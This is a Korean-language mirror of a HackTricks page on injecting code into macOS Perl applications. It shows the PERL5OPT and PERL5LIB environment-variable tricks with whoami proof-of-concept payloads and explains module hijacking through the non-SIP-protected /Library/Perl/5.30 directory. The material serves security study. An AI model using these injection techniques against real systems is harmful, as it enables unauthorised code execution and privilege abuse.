mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
3.5 KiB
3.5 KiB
macOS Perl Applications Injection
htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!
다른 HackTricks 지원 방법:
- 회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹에 가입하거나 텔레그램 그룹에 가입하거나 Twitter에서 🐦 @carlospolopm을 팔로우하세요.
- 해킹 요령을 공유하고 싶다면 PR을 제출하여 HackTricks 및 HackTricks Cloud github 저장소에 기여하세요.
PERL5OPT
및 PERL5LIB
환경 변수를 통한 주입
환경 변수 PERL5OPT
을 사용하면 perl이 임의의 명령을 실행할 수 있습니다.
예를 들어, 다음 스크립트를 생성하세요:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
이제 환경 변수를 내보내고 perl 스크립트를 실행하세요:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
다른 옵션은 Perl 모듈을 생성하는 것입니다 (예: /tmp/pmod.pm
):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
{% endcode %}
그런 다음 환경 변수를 사용하십시오:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
의존성을 통해
Perl을 실행하는 데 필요한 종속성 폴더 순서를 나열할 수 있습니다:
perl -e 'print join("\n", @INC)'
다음은 비슷한 결과를 반환합니다:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
일부 반환된 폴더는 실제로 존재하지 않지만, **/Library/Perl/5.30
**는 존재하며, SIP로 보호되지 않았으며 SIP로 보호되는 폴더들보다 앞에 있습니다. 따라서 누군가는 그 폴더를 남용하여 스크립트 종속성을 추가하여 고권한 Perl 스크립트가 해당 종속성을 로드하도록 할 수 있습니다.
{% hint style="warning" %} 그러나 주의해야 할 점은 해당 폴더에 쓰기 위해 root 권한이 필요하며 요즘에는 이 TCC 프롬프트를 받게 될 것입니다: {% endhint %}
예를 들어, 스크립트가 **use File::Basename;
**을 가져오고 있다면 /Library/Perl/5.30/File/Basename.pm
을 만들어 임의의 코드를 실행시킬 수 있습니다.